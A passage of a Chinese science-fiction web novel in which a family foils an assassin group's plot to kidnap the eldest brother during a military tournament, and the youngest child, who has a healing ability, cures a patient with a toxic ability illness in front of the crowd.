这些治愈的病例,竟和九壤集团的江从谦有关! 甚至还有人查到,章康教授之前,就是在江从谦名下的医疗研究所进行研究。 这个消息很快便传到了殷质耳中。 “什么?!” 他猛地攥紧手中的光屏,指节因为用力甚至泛出青白色,“江从谦真能治愈异能崩坏症?!” 他身后的黑西装躬身答道:“我们确认了消息来源,章康教授亲口说的,那几例异能崩坏症,就是江从谦治愈的……” 如果是别人,殷质还会有些怀疑。 但这可是章康! 他不缺名不缺利,在学术界更是出了名的爱惜羽毛。 谁能买通他,用自己的学术名声来佐证啊! 果然,黑西装接下来继续说道:“江从谦这些年,的确一直有在投资异能病症的研究,除了异能崩坏症,还有其他的病症……” 殷质胸膛不住起伏。 他早就怀疑,YHC-03毒素被解,就是江从谦做的。 而YHC-03原本就是仿照异能病症的方向制作的。 江从谦能够解毒,说不定也能治疗异能病症! 只可惜,这人太狡猾了! 殷质本想试探出他的能力,却被他反将一军,如今竟被他追得跟丧家之犬一般,躲到了地下。 “砰!” 殷质一拳砸在了桌上。 这些天的憋屈、挫败和愤怒,都一股脑地涌上心头。 黑西装被他的戾气吓到,试探着喊道:“大人……” 殷质却没有回答,只是嘶声道:“滚、滚出去!” 黑西装们早就知道他喜怒无常。 见状,连忙退出房间。 房门被合上,室内顿时陷入安静之中。 殷质再也支撑不住,跪倒在地上,抬手捂着被眼罩遮住的左眼。 左眼深处灼热、刺痛,像是被烧红的钢针在眼球里不断搅动,疼得他眼前发黑,牙齿打颤。 不知道到过了多久,疼痛才如潮水般退去。 殷质虚脱地瘫坐在地上,衣服已经被冷汗浸湿了。 忽然,挂在脸上的眼罩却“啪嗒”一声掉了下来。 特制的黑金眼罩,竟像是被什么腐蚀了一半。 桌上的餐具反光,也照出了他没有被遮盖的左眼。 只见他左眼周围的皮肉泛着腐烂般的死灰色,浑浊的眼球半挂在眼眶里,被几根暗红色的血管牵扯着,仿佛随时可能断裂。 十分可怖。 “呕……” 殷质偏头干呕,却只能吐出酸水。 他厌恶地将桌上的餐具都扫在地上,又艰难地爬起来,摸索出新的眼罩戴上。 看到那只令人厌恶的眼睛重新被遮起来,殷质才缓缓站起身。 他的病已经很严重了! 如果再不治疗,左眼的腐烂将会开始蔓延。 最终,他整个人都会变成一摊死灰色的烂肉。 不! 他宁愿死,也不允许自己变成这个样子!! 殷质死死地咬住牙齿,下定了决心。 “来人!!” 他改变主意了! 他不打算杀掉江从谦,他要将他绑过来。 就算是逼,也要逼他治好自己的病! 第68章 三年一度的军部述职,是联邦规格最高的军事盛典。 对于各地方军团来说,这就是关乎军团荣耀的重要时刻。 尤其是放在最后的武备对抗竞赛。 各军团抽签对抗,决出最后的胜者。 每一场比赛都会进行全联邦直播,胜负不仅关系着军团的名声,甚至直接影响之后的经费和兵源。 比如第五军团和第六军团。 据说早年两个军团关系还行,但几年前,第五军团用了些不太光彩的计谋,赢了第六军团,当年便风光无限,抢了第六军团不少资源。 之后两个军团的关系便恶化了,至今也没有修复。 各军团为了这场竞赛,早就铆足了劲。 军团长们早在每场会议中唇枪舌剑了许多回合,即便是兄弟军团,一旦在抽签中抽到了对方,那也是恨不得把对方的狗脑子都打出来。 对于联邦公民来说,这场盛事更是承载着超越军事的意义。 每个星系都有自己驻守的军团,民众自然是要站在自己人这边。 如果表现好,回去后自然能得到民众的欢呼和支持。 但如果表现不好,尤其是输给了宿敌军团,那回去可就倒霉了。 因而,每次军区述职都是火花四溅,关注度极高。 星网上的讨论更是早已沸腾。 【第二军团不是刚公布了新的武器吗?这次述职肯定是第二军团大出风头!】 【那可不好说,加尔文军团长回来了,我更看好第七军团!】 【乌姆星系的兄弟在哪儿?第六军团别怂!干翻第五军团那群老阴比!】 …… 相比于其他星区的民众只能守在星网上观看,蔚蓝星区的居民却可以凭借抽签去到现场,亲身体验这场军事盛典的震撼。 伦纳德就是这样一个幸运儿。 而且他简直运气爆棚,不禁抽中了入场资格,甚至还抽中了最佳的观看席位。 他带着新买的全息记录仪,早早就赶到了地胄军事星。 并在工作人员的接引下,来到对抗竞赛的比赛场,进入了自己的位置。 他刚把全息记录仪打开,连接上星网,就有不少人点了进来。 有些人并不喜欢看官方的拍摄,反而更喜欢这种私人视角带来的沉浸式体验,仿佛自己也坐在观众席上似的。 【卧槽!这个视角简直绝了!】 【羡慕哭了,我从成年开始就在抽入场资格,连着五届了,从一个清纯男大成为了油腻社畜,但至今还没有抽到过!】 【这是什么欧皇运气啊!接!】 伦纳德得意一笑:“那当然!我觉得我这辈子的运气都花在这次抽签上了!” 话音未落,他的手肘不小心撞到了全息记录仪,镜头歪了一下,正好拍到了前方刚入座的身影。 为首的男人黑发灰眸,戴着金丝眼镜,气质冷峻疏离,但低头看向怀中孩子的时候,却如冰雪融化,变得格外温柔。 紧随其后的栗发女子,长相与他有五六分相似,身着第七军团的军装,高挑修长,气质凌人。 落后他们一步的青年戴着帽子,单手插兜,另一只手则在把玩着手里的光脑,即便没有露脸,也让人无法忽视。 【救命!这是什么神仙颜值组合!】 【难道没人觉得,那个戴眼镜的男人有点眼熟吗?】 【卧槽!那好像是九壤集团的江从谦啊!他怀里那个应该是他的幼弟吧!后面的应该也是他的弟弟妹妹,我好像听说过,江元帅的女儿就在第七军团来着……】 【果然是江元帅的孩子!难怪一个个帅的帅,飒的飒,不过元帅的幼子倒是出乎意料的可爱诶……】 …… 弹幕瞬间热闹了起来,有不少人都得到消息,挤进了伦纳德的直播间。 而风暴中心的江家四人却对此一无所知。 江从谦把弟弟放在椅子上,转头对江见微叮嘱:“照顾好又又!” 尽管周围有安排好的近卫,但他仍旧不放心。 江见微的指尖在光脑上点了点:“知道了,你们就放心吧。” 又又完全没有留意哥哥姐姐的话。 他正好奇地望着下方巨大的比武场。 比武场的四周都用透明的能量罩隔开,上方则漂浮着一块块巨大的全息屏,上面播放着过去几届对抗竞赛的精彩集锦,以及时不时插|入的广告。 “姐姐!”又又拉着江昭晏的衣角,惊叹地问道,“你一会就要在这里打架吗?” 江昭晏失笑,揉了揉他的栗色卷发:“是比赛,不是打架!” 没错。 这次江昭晏要代表第七军团,参加这次的个人异能竞赛。 他们都是作为江昭晏的家属来参加的。 小幼崽懵懵懂懂地点头。 毕竟在他看来,姐姐就是在打架嘛! 昨天还跟艾拉他们打了好几场。 想到这里,小幼崽看向姐姐,顺手把姐姐身上那一点疲惫的病气给吞掉。 虽然异能者的自愈能力很强,这点小病痛并不影响。 但有又又在,肯定会让她以最好的状态去参赛的! 江昭晏很快就察觉到了,微微一笑:“谢谢又又宝贝!” 说起来,也正是因为有又又在。 她在训练的时候,便可以无所顾忌。 即便是对抗竞赛前这几天,其他人都会降低训练量,以免影响正式比赛。 她反倒越练越猛。 于是,又又每天吃完那些晶血症孩子的病气,还会留一点肚子给姐姐。 已经好几天都有些吃撑了。 小幼崽偷偷打了个饱嗝,然后握紧小拳头:“姐姐加油!” 江昭晏捏了捏小幼崽的脸颊:“好!” 江从谦看了看时间,便道:“那我们就先走了。” 江昭晏是比赛人员,要去第七军团的休息室。 而他则是这次武备对抗竞赛的赞助商之一,有专门的席位。 不过,江昭晏和江见微都知道,他之所以离开,是为了之后的计划。 江见微担心地看着大哥,有些欲言又止。 为了不让小幼崽担忧,他们都是瞒着又又的。 小幼崽浑然不觉,兴致勃勃地看着半空的悬浮屏。 江见微只能咽下担忧,沉声道:“大哥,你……一切小心。” “放心吧。”江从谦拍了拍他的肩膀,和江昭晏一同走进通道。 只是没走多远,就看到了迎面走过来的江砺元帅。 江昭晏原本还有话想跟大哥说的,见状,也只能匆匆叮嘱了大哥几句,便从另一个方向离开了。 江砺走上前,轻叹了口气:“你这次……太冒险了!” “但这是最好的机会!”江从谦淡淡道,“我都已经安排好了,在民众之中早就安排了我们的人,绝不会让他们伤害任何人。” 江砺知道,他下定了决心,就不会更改。 而且他之所以这样做,是担心又又的治愈异能暴|露后,却被那幕后之人觊觎,所以干脆以身为饵,将对方引出来,一网打尽。 这个计划考虑得非常周全,成功率也很高。 但…… 江砺眉眼黯然:“我担心的,是你。” 可以说,为了保护弟弟和民众,江从谦把自己放在了最危险的地方。 不过江从谦倒并不担心:“我相信菲勒斯,而且,就算我真的受伤……这不是还有又又吗?” 说到弟弟的时候,他眉眼的冷意消散了许多。 想到又又,江砺的神情也缓和了许多:“是啊,还好有又又在。”- 与此同时,菲勒斯靠在一片阴影处,擦拭着掌心的能量枪。 他凝神听着比武场上的动静。 直到观众席上传来尖叫,他才将能量枪收好,缓缓走了出去。 比武场上的战役已经开始。 而在暗处,另一场没有硝烟的战役也打响了。 菲勒斯的目光扫过赞助商的席位,又扫过密密麻麻的观众席。 自从章康教授的论文面世后,大人便改变了计划,从杀江从谦改成了要绑架江从谦。 可是江从谦实在太谨慎。 要杀他都不容易,更何况是绑架了。 偏偏大人已经被所谓的治愈异能冲昏了头脑,根本等不下去。 竟然决定在对抗竞赛的时候动手。 按照计划,他们会先在观众席掀起骚乱,在混乱中劫走江从谦。 人多眼杂,混乱是最好的掩护。 只要将人劫走,自然有后面的人接手。 没想到,在对抗竞赛前夕,军部忽然加强了安保,导致这次的检查极其严格,他们能混进来的人并不多。 让大人措手不及,甚至不像往常那样,在正式执行任务之前,还要再见他们一面。 菲勒斯垂下眼眸。 恐怕大人也没想到,短短时间之内,他们这些人就会背叛他吧。 与此同时,在一处观众席上,一名穿着连帽卫衣的男人忽然离开了座位,朝着一名维持秩序的工作人员使了个眼色。 工作人员心领神会,与他一前一后走到了通道里。 “你怎么……” 工作人员刚开口,卫衣男却忽然暴起。 他手中的异能化为一条布满荆棘的长鞭,“刷”地缠住了工作人员的脖颈和四肢,长鞭上的荆棘更是深深地扎进了他的身体。 工作人员不妨他忽然动手,整个人都懵了。 而当他反应过来,进行反击的时候,通道各处冲出来几名特勤队员,能量枪抵住他的太阳穴,并将他死死地按在墙上。 还有一人则拿出扫描仪,往那名工作人员脸上一照,那张脸皮竟然缓缓地变成了另一个人。 这名假工作人员正是这次混进来的,殷质的手下。 他这时也已经反应了过来,目眦尽裂地看着卫衣男:“你……你竟然背叛大人!” 但话还没说完,就已经被特勤队员给消了音,把人给带了下去。 卫衣男神情不变,脑中却想到了几天前来找自己的菲勒斯。 他有个小自己三岁的弟弟,父母双亡后,他便和弟弟相依为命一起长大,感情非常好。 但在五年前,弟弟因为一场意外,患上了罕见的异能疾病,只能依靠昂贵的药物维持性命。 他也是因此成为了大人的手下。 菲勒斯跟随大人之后,便是由他来教导。 他知道菲勒斯的女儿患了晶血症,菲勒斯为了给女儿买化晶药,所以拼命做任务赚钱。 他便不禁生出了几分同病相怜的感情。 菲勒斯来找他,他本以为是为了任务来的,没想到菲勒斯却告诉他,他的女儿已经被治愈了。 卫衣男那一刻只觉得内心惊涛骇浪。 然而多年的杀手生涯,却令他很快冷静下来,联想到了这次的任务目标。 他立刻反应过来:“你想说,你的女儿是江从谦治愈的?你要保护他?” 菲勒斯顿了顿:“对。” 卫衣男冷笑一声:“你想让我叛变?” 他拿出能量枪,指着菲勒斯,“你知道背叛大人是什么下场吗?” “我知道。”菲勒斯语气平静,却目光灼灼,一字一句地说道,“但,你难道不想你的弟弟离开病床,不想他不再受折磨,不想他像个正常人一样生活吗?” 卫衣男握枪的手竟出现了轻微的颤抖。 他虽然加入大人麾下,但他和那些狂信徒不一样。 他知道自己只是为了赚钱给弟弟治病,每一次的任务对他来说,和什么信仰、使命都无关,他只是为了赚钱而已。 卫衣男一直以为,菲勒斯和自己是一样的人。 他们都是为了家人才走上的这条路,绝不会被那些狂热的信仰裹挟。 但此刻,他却在菲勒斯眼中,看到了比那些狂信徒还要虔诚的目光。 而且,他也听到了自己内心被轰然撼动的声音。 他没有杀菲勒斯,而是将他赶出了家,去了医院。 看着病床上虚弱地冲着自己微笑的弟弟,卫衣男做出了决定。 哪怕只有万分之一的希望,他也想为家人赌一把。 他拉下卫衣的帽子,朝着江从谦所在的包厢走去。 江从谦作为赞助商,拥有单独的悬浮包厢。 或许是信任军部的能力,又或者觉得不可能有人会选在这种时候对他下手,因而包厢门口只有两名护卫。 等所有杀手赶到的时候,两名护卫都已经被人放倒了。 菲勒斯站在门口,不悦道:“你们来得太迟了。” “军部的检测仪升级了,我差点暴|露……”一名脸上有纹身的男人皱眉,随即又疑惑道,“那些人到底完成任务没有,为什么没有听到外面传来骚乱声?” “可能是外面太吵了,把声音压下去了。”菲勒斯说道,“我们快点动手吧,以免夜长梦多。” 纹身男点点头,打开包厢,便冲了进去。 包厢很大,他目光一扫,果然看到昏睡在沙发上的江从谦。 他内心一喜,正要上前将人带走,但一直在他身边的菲勒斯却忽然出手。 纹身男瞪大眼睛,低头却看见一截匕首插入自己的心口。 而面前,就是菲勒斯那张冷酷的脸。 他想要说什么,却已经发不出声音了,身体瞬间倒了下去,重重地砸在了地毯上。 而就在纹身男倒下的瞬间,原本昏睡在椅子上的江从谦却忽然起身,手中拿着一把能量枪对准了他们。 门口原本应该昏迷的两名护卫,也毫发无伤地站了起来。 甚至连他们自己人中,都有两人站到了菲勒斯身边,挡住了后方的江从谦。 而这变故让其他杀手都怔了半拍。 “菲勒斯你疯了!!” “你竟然背叛大人!!” 菲勒斯神情不变:“我没疯,我只是不想原本能治愈所有人的异能,成为大人的私物而已!” “大人为什么想要绑架他,你们难道不知道是什么原因吗?” “你们想清楚,你们真的想永远过这种生活吗?朝不保夕,在黑暗里越陷越深,还是想让自己的家人和爱人彻底治愈,过上正常的生活?” 他的话像一颗石子投入水中。 有人听了他的话,果然有了动摇。 他们和菲勒斯一样,都是为了重病的家人,才在殷质手下卖命。 如果可以,谁不想堂堂正正生活在阳光下,和家人过幸福美满的生活。 但更多的人被殷质洗脑成功,完全不为所动。 “你这个叛徒!你怎么能懂大人的追求!” “你背叛了大人,我要杀了你!” 这次为了绑架江从谦,殷质几乎将手下的杀手全部派出。 虽然有菲勒斯猝不及防的反水,让他们一时之间落入下风,但很快,所有人都不计代价地使用异能,誓要将菲勒斯杀死,将江从谦带回去完成任务。 很快,菲勒斯等人的身上便伤痕累累。 但他们拖延的目的已经达到了。 大批的特勤队员已经赶到,给他们来了个瓮中捉鳖。 一名杀手见此情形,目光中杀意一闪,抬起手将最后的异能化为一根冰刺,狠狠地朝江从谦的心口扎去。 “去死!!!” 卫衣男赶到的时候,正好看到这一幕,瞳孔骤缩。 那一刻,他脑子里只有一个念头。 为了弟弟,江从谦一定不能死! 他甚至来不及使用异能挡住,只能飞身扑过去,用自己的身体挡住了那枚冰刺。 锋利的冰刺穿透了他的肩膀,但他手中的荆棘也穿透了那名杀手的胸腔。 卫衣男咬牙拔掉冰刺,护着江从谦便往外走:“走!” 不过一会功夫,这些杀手便被特勤队员纷纷制伏。 而在他们之后,江砺也匆匆赶来。 江从谦下意识抬头看向他。 江砺朝他点点头:“你的计划很成功,那些人都被我们控制起来了。” 江从谦这才长舒一口气,紧绷的身体缓缓放松。 这时,菲勒斯几人也互相搀扶着走了出来。 相比之下,江从谦身上的伤却是最少的。 江从谦心中不禁震颤。 他之前虽然相信菲勒斯,但却仍旧留有后手。 他没有想到,这些人竟然会不顾性命地保护他。 想到这里,他的声音有些发涩:“你们先去医院治疗,之后……” 然而那卫衣男却摇摇头,脸色分明已经很苍白了,却只是固执地看着他:“我没事,我只要你帮我治好我弟弟!” 这也正是之前他们答应菲勒斯的条件。 江从谦顿了顿:“好,你们跟我来。”- 江从谦包厢里发生的事情似乎并没有引起外面的注意,所有人都在专心致志地看着比武场上的个人赛。 眼下正是第七军团的江昭晏对上第二军团的塞德里克。 两人都是年轻一辈的佼佼者,两人的异能等级也都很高,这场比试看得人大饱眼福。 星网上更是掀起了讨论的热潮。 【江少将打得太精彩了!我都移不开眼睛!啊啊啊!等比赛结束我一定要去星网找这场比赛的全息影像看100遍!】 【塞德里克也好强啊!不愧是冰系异能最强者!】 【不用说了,这场就是今天的最强对决!绝对是今天星网最热的新闻!】 …… 小幼崽也捏紧了拳头,绿眸一眨不眨,目光追随着姐姐的身影:“姐姐加油啊!!” 江见微心神不宁地把玩着手中的光脑,转头就看到大哥朝他们的方向走来。 “大哥!事情解决了?”他面露喜色,但随即就发现大哥身上的血迹,“你受伤了?!” 小幼崽虽然一直在看着姐姐的比赛,但一听到“受伤”两个字,还是立刻转过头:“大哥!” 江从谦抱住焦急跑过来的小幼崽:“大哥没事!” “谁说没事!”小幼崽将他身上的病气啃掉,虽然不严重,但也是受伤啊! 小幼崽正想问哥哥到底发生了什么,就被哥哥拥进怀中。 “没事了,又……” 江从谦的话还没说完。 身后却忽然传来一声凄厉的嘶吼声。 他们身后的观众席上,一名中年男人忽然僵住,眼神涣散,双手死死地抓着喉咙。 下一秒,他的身体上竟赫然出现一道道裂口,然而裂口中却不是血液,而是腥臭的墨绿色汁液,滴落在地面上时,竟滋滋冒烟。 “啊——!!!” 男人痛苦地嘶吼着,手指抓向裂口,那些汁液顿时向四处溅开。 那些汁液只要碰到人的皮肤上,便立刻生出巨大的燎泡,燎泡破裂后露出溃烂的猩红血肉。 现场顿时发出一声声惨叫。 “怪物!!!” “快跑啊!!!” 原本还在专心看比赛的观众,顿时惊慌失措地朝着外面跑去。 江从谦神情一变,立刻抱起又又就要跟着离开。 而特勤队员已经拿着能量枪冲了进来,对准了那名男人。 却不妨一名中年女子冲了出来,挡在他面前,哀求道:“求求你们别杀他……他不是怪物!他只是发病了……求求你们了……” 又又听到这句话,立刻从哥哥怀中挣脱出来,毫不犹豫地朝那名观众跑过去。 “又又!!!” 第69章 伦纳德怎么都没想到,他好好地看个比赛,竟然撞上这种意外。 他当场就吓呆了,连全息记录仪歪了都没意识到,而歪掉的记录仪正好就对着混乱的观众席。 星网直播间里,原本还在看比赛的观众们,瞬间都惊呆了。 弹幕疯狂闪过。 【卧槽!!发生什么事了!那人身上是什么东西!】 【连特勤队都出来了!这人不会是通缉犯吧!还是什么恐|怖袭|击!】 【我听那女人说生病……什么病这么恐怖啊!】 【入场时不是会检查吗!为什么会放这么危险的人进来啊!】 …… 伦纳德的后背都被冷汗浸湿了。 他原本应该跟着人群一起逃出去,可瞥见弹幕后,一个疯狂的念头却忽然浮现在了心里。 这可是千载难逢的独家画面啊!! 他咬咬牙,停下了脚步。 随后,他缓缓地伏下|身体,将全息记录仪悄悄调正,对准了前方。 那名中年男人已经完全丧失了理智,而他身体上的裂口却越来越大,腥臭的墨绿色汁液不再是零星飞溅,而是呈喷射状涌出。 本就混乱的现场更加不可控制,尖叫声此起彼伏。 而这声音令男人越发狂躁,竟摇摇晃晃地朝着人群扑过去。 在他的前方,那名中年女人想也不想地扑到了他的身前,那些墨绿色的毒液瞬间腐蚀了她的衣服,露出下面红肿溃烂的血肉。 女人痛得浑身抽搐,却仍旧死死地抓住男人的手臂:“老公,不要……” 她心中无比绝望,怎么都没想到丈夫会忽然发病。 这个男人患的病名叫毒囊症,是一种非常罕见且危险的异能病症。 患者发病时,身体上会出现一道裂口,流出墨绿色的毒液,只要被毒液碰到皮肤,哪怕只有一丁点,都会瞬间生出燎泡,燎泡破掉后,皮肉红肿溃烂,就算使用治疗仪都会剧痛无比,如果严重的话,还会留下无法修复的伤痕。 按照联邦的法律,毒囊症患者都要被送到特殊医院。 只是他们夫妻感情极深,她舍不得丈夫被孤零零地关进特殊病房,于是便将他留在了家中。 一年前,丈夫经朋友介绍,参加了一个新药的临床试验。 而服用新药后,他们竟发现,他的毒囊症没有再发作。 夫妻俩又惊又喜,生活重新回到了正轨。 不仅如此,他们甚至还捡漏了两张武备对抗竞赛的门票。 妻子原本还有些担心,丈夫却觉得他的病已经好了,再加上舍不得这两张门票,最终还是来了。 在进行检查的时候,他也没有被检查出任何问题。 夫妻俩这才放下心来,安心观看比赛。 可谁能想到,丈夫竟然会在众目睽睽之下忽然发病! 就在她绝望之际,却看到一个栗发绿眸的孩子,正逆着人群,跌跌撞撞地朝他们跑来。 她呆住了。 下意识想喊危险,但被灼伤的喉咙却已经说不出任何话来。 “又又!回来!” 江从谦与江见微疯狂地朝着弟弟的方向追去,却被人群裹挟着不断后退。 只能眼睁睁看着小幼崽像是一只灵巧的小鹿般,穿过人群,冲向了那名毒囊症患者。 眼看飞溅的毒液就要溅上他白嫩的皮肤。 直播间的众人都不忍心再看,纷纷闭上了眼睛。 但此时,奇迹竟然发生了! 随着他的手掌碰触到患者身上,那原本喷洒着毒液的裂口,竟然在缓缓愈合! 【!!!】 【等等!!我是不是眼花了!!那裂口竟然在愈合!!】 【不可能!!!这是毒囊症啊!是无解的绝症!!】 而现场的特勤队员所受到的冲击比他们还要大! 这些训练有素的战士们,无论面对什么样的突发事件,都能处变不惊地执行命令。 但此刻,他们却都僵在原地,瞳孔因震惊而放大,甚至连向上级回复都忘记了。 “这不可能……” 而处于地震中心的又又,却只看到了对方身上不断涌出的墨绿色病气。 他大口大口地吞噬着,即便已经很饱了,也依旧强忍着继续吞咽下去。 小幼崽没有多想。 在他看来,他现在做的事情,和之前吃掉那些晶血症孩子身上的病气是一样的。 吞掉这些病气,就能够救下一个人,挽救一个家庭。 而随着中年男人身上伤口,以肉眼可见的速度不断愈合。 众人却赫然发现,那个孩子裸|露的皮肤上,竟出现了一道道血红色的伤痕! 江从谦呼吸一窒。 这是……! 原本在外面通道等着的菲勒斯和卫衣男,在发现观众惊恐涌出来之后,便意识到了不对。 两人身手矫健,穿过人群进入了观众席中,正好看到眼前这一幕。 小幼崽站在男人身前,白嫩的小脸上满是凝重。 皮肤上那些伤痕却是如此刺眼。 那些伤痕,他们作为旁观者看着都觉得痛。 但这个看起来娇气的小幼崽,却仿佛感觉不到一般,只全神贯注地治愈着眼前的人。 卫衣男呆住了。 虽然他背叛大人,帮助菲勒斯,但其实对于那个治愈的机会,他心里依旧是忐忑的。 所以,他才会固执地让江从谦给他一个承诺。 但眼下,亲眼看到的这一切,却让他彻底打破了所有疑虑。 而一旁的菲勒斯,却早已泪如雨下。 原来这就是治愈阿德琳要付出的代价吗! 而又又付出了这么多,却从来没有说过,他甚至没有提出任何一个要求。 这份恩情远比他想象的还要深得多! 与此同时,江砺正在临时指挥室听这次任务的汇报。 一名近卫却忽然闯了进来:“元帅!不好了!又又出事了!” 江砺赫然起身:“什么?!” 近卫语速飞快地将观众席发生的事情说了出来,又拿出了现场的全息影像。 看着又又竟然朝那名毒囊症患者跑过去,江砺的心跳都差点骤停。 但很快,他便看到了小幼崽手下,仿佛魔法一般的场景。 想到小幼崽的治愈异能,江砺后知后觉地松了口气。 本以为这就像之前在蒂奢星区时那样,由小幼崽力挽狂澜,却忽然看到小幼崽身上浮现出的狰狞伤痕。 江砺:“!!!” 看着那一道道血红的伤痕。 他心如刀割,恨不得让自己替孩子来承受这些。 “元帅!” 卢西恩的声音唤回了他的思绪,也让他的脚步硬生生地止住了。 “我根据现场的情况,以及这人的信息进行推演,他的发病恐怕并不是意外!”卢西恩声音急促地说道,“我怀疑这是幕后黑手有预谋地制造恐慌,如果是这样的话,其他观众席上或许也有类似情况的患者……” 江砺深吸一口气。 元帅的职责,让他不得不将担忧强压下去,重新恢复冷静。 他最后看了眼全息投影中的幼子,才沉稳地下令道:“安排特勤队进行排查,并调派第二、第四、第六、第七军团协助……”- 地胄军事星外,在星云的隐蔽下,一艘通体漆黑的星舰正如巨兽般蛰伏其中。 殷质靠在沙发上,面前正是武备对抗竞赛的全息投影。 这不过,这些投影的内容并不是比武场上的比赛,反而是对准备观众席。 其中最大的投影画面,就是江从谦的包厢。 他执着酒杯,目光紧紧地盯着包厢中的江从谦。 “快了……” 他几乎是迫不及待地等着杀手们闯入,看到江从谦那张脸上出现惊慌失措的表情。 等抓到了江从谦,他一定会好好招待他! 直到他像狗一样听话,再让他给自己治疗病症。 如果他没有猜错的话,江从谦的能力是整个联邦独一无二的! 这是比病毒还要珍贵的武器! 相比之下,自己之前失去的那些根本就不算什么! 想到这一幕,他便按捺不住内心的兴奋。 为此,他甚至没有留在安全的地下堡垒,而是亲自坐镇星舰迎接胜利。 然而,到了预定的时间,原本的骚乱竟并未引发。 紧接着,他安排的杀手们,竟在关键时刻反水。 殷质的笑容僵在了脸上,捏着酒杯的指节也因用力而泛白。 “不可能!!!” 他不久前才用异能看过菲勒斯他们,明明显示他们对自己还是忠诚的! 他的异能不可能会有错! 正是凭借这样的异能,他才从一个家族不受宠的旁支子弟,拥有了如今的地位。 “为什么会这样!!” 暴怒冲昏了他的头脑。 他将酒杯狠狠地砸向全息投影。 就被穿透投影,在地上重重地碎开,殷红的酒液流满一地。 殷质咬牙道:“去把这些叛徒的家人都给我抓过来!我要亲手杀了他们!” 然而被吩咐的黑西装却面色惨白,结结巴巴道:“大……大人,出事了!那些人已经失去了踪影……” “什么?!” 殷质怒瞪他。 然而左眼传来的疼痛,却令他扬起的手臂僵在半空中。 他死死地按住眼罩的位置,剧痛却令他瞬间冷静下来。 想到最近发生的一系列事情,他顿时意识到了,自己被设计了! 江从谦竟是以自己为饵,演了这样一出大戏! 而他的目的,绝不只是菲勒斯那几个小喽啰! 他要抓的,是自己!! 殷质的独眼里翻滚着怨毒。 如果是这样的话,所谓的治愈说不定也是一个诱饵。 或许这世上根本不可能有人能治愈这些绝症! 而就在这时,一名黑西装慌慌张张跑进来:“大人,不好了!我们……被包围了!” 在舷窗外,一艘艘军舰缓缓显露身形。 绚烂的星云之后,也有数台机甲端着能量炮对准了他们。 “大人,我们应该怎么办?”黑西装焦急地问道。 意识到所谓的治愈是个谎言后,强撑着殷质的那口气仿佛也散去了。 他有些意兴阑珊地挥了挥手。 没有多久,星舰被强行打开。 一队身着第七军团军装的异能者士兵涌入,为首的竟然是索伦军团长。 这次军部述职,第七军团是由加尔文军团长亲自带队。 以防万一,殷质也派人盯紧了和江砺有关的几位军团长,确认他们没有任何异动。 却没想到来的人,竟然会是所有人都以为还在镇守第七军团的索伦。 殷质愣住了:“怎么可能是你!” 第七军团地处边境,承担的防御压力极重,又因为环境艰苦,异能者患病受伤的几率也比较大,每次军部述职,来的异能者都很少。 殷质了解江砺,也了解索伦,知道他们不可能不顾边境防御。 这次加尔文带来的异能者并不少,几乎到了第七军团能抽调人数的极限。 所以,他从一开始便没有把索伦当成要防备的对象。 索伦神色不变。 如果是以前,第七军团的确抽调不出这么多异能者。 可又又来了之后,将不夜营中患病和受伤的异能者士兵都治愈了。 现在第七军团的异能者士兵,是前所未有的充足。 而殷质却误会了。 他忽然想起,他的计划失败,正是从第七军团开始。 而所谓的治愈相关的信息,也是从第七军团传出来的。 新仇旧恨加在一起,让他几乎要把牙都咬碎。 “从一开始,这就是江家和你们联手设下的局!!” 殷质越想越恨。 索伦却懒得跟他废话,扬手便要将他带走。 殷质却忽然道:“慢着!” 殷质自知已经逃不掉了,但他不好过,这些人也别想好过! 他的目光看向热闹的观众席,嘴角露出一抹诡异的笑容,“索伦军团长,有没有兴趣陪我看一场好戏?” 索伦皱起眉头。 殷质脸上的这抹笑,让他有一种不好的预感。 就在这时,其中一处观众席忽然发生骚动。 一名毒囊症的患者竟忽然发病,现场顿时一片混乱。 索伦眉心重重一跳。 殷质却露出畅快的笑容。 这人吃下的所谓新药,是他研发出的一种能够暂时压制病症的药。 但这种药压制越久,反噬就越狠。 他特意安排了十几名这样的病患进入观众席,并算准了反噬的时间。 这本是他用来抓住江从谦后,逃走的后手。 如今虽然用不上了,但也能给江家造成大|麻烦。 这么重要的盛典上出现这种丑闻,身为元帅的江砺,绝不会好过! 只可惜,他看不到江家人难看的脸色了。 然而,他的笑容很快就僵在了脸上。 全息投影中,一个栗发绿眸的孩子竟逆着人流冲到了那名患者身边。 索伦瞳孔骤缩,失声道:“又又!!” 又又? 江砺那个没有异能的幼子? 殷质心里忽然出现了一种不好的预感。 下一秒,他们就看到,那个孩子竟然抱住了毒囊症的患者。 原本毒囊症患者身上的裂口和毒液,竟然缓缓愈合,患者眼中的疯狂,也在渐渐转为清明。 殷质:“!!!” 他僵在原地,独眼死死地盯着全息画面中的又又,嘴唇哆嗦着:“不……不可能!!” 治愈异能不是江从谦编造的谎言吗?! 竟然是真的吗! 而拥有这么强大异能的,竟然是这个自己从一开始就没有放在眼里的孩童。 殷质忽然想起,当初裴煌患病的时候,自己派人去跟踪那个孩子。 他明明每天都会去军部,自己却以为他只是去找那个长得漂亮的帝国质子。 那份写满他行踪的报告,自己随手就丢在了桌上。 想到自己错过了什么,殷质悔恨地几乎要化为实质! 差一点! 只差一点! 如果他一开始就知道真相,将这个孩子掳来,将他收为己用。 他的左眼只怕早就治愈了! 而他手握这独一无二的武器,甚至可以掌控整个联邦!! 全息投影中,那名被治愈的患者已经恢复了正常,正呆呆地站在原处,脸上露出似哭似笑的激动神情。 殷质更恨了! 这个孩子的能力本该是他的!是用来治愈他的左眼!用来掌控联邦的武器! 而不是给这种卑贱的、普通的平民白白浪费!! “放开我!” 他忽然暴起,左眼的黑金眼罩因为剧烈动作,而裂开一道缝隙,露出下面已经溃烂的眼球。 两名异能者死死按住他,他面容扭曲,状似疯癫:“那孩子是我的!是我的!” 索伦冷冷地看着他:“带走!” “啊啊啊——!”- 观众席的异动并没有影响到比武场。 江昭晏身形微动,按住了地面,地面的水渍瞬间化成了一条水龙,带着一往无前的气势朝塞德里克冲去。 塞德里克同时发动异能,水龙瞬间冰冻,随后化作片片冰刀,朝江昭晏扎去。 可他没想到,江昭晏竟不退反进,从密集的冰刀中杀出一条血路,在塞德里克还没反应过来时,手中的能量匕首便已横在了他的脖颈之上。 塞德里克吐出一口气:“我认输……你很强!” 江昭晏扬起唇角,眸中却浮现出柔软的情绪。 她对自己的实力虽然有信心,但这次能赢下塞德里克,又又也是功不可没。 正是因为有小幼崽的治愈能力,她才能毫无顾忌地试验新打法,而不担心自己受伤。 一时间,整个赛场掌声雷动。 所有的观众都是大饱眼福。 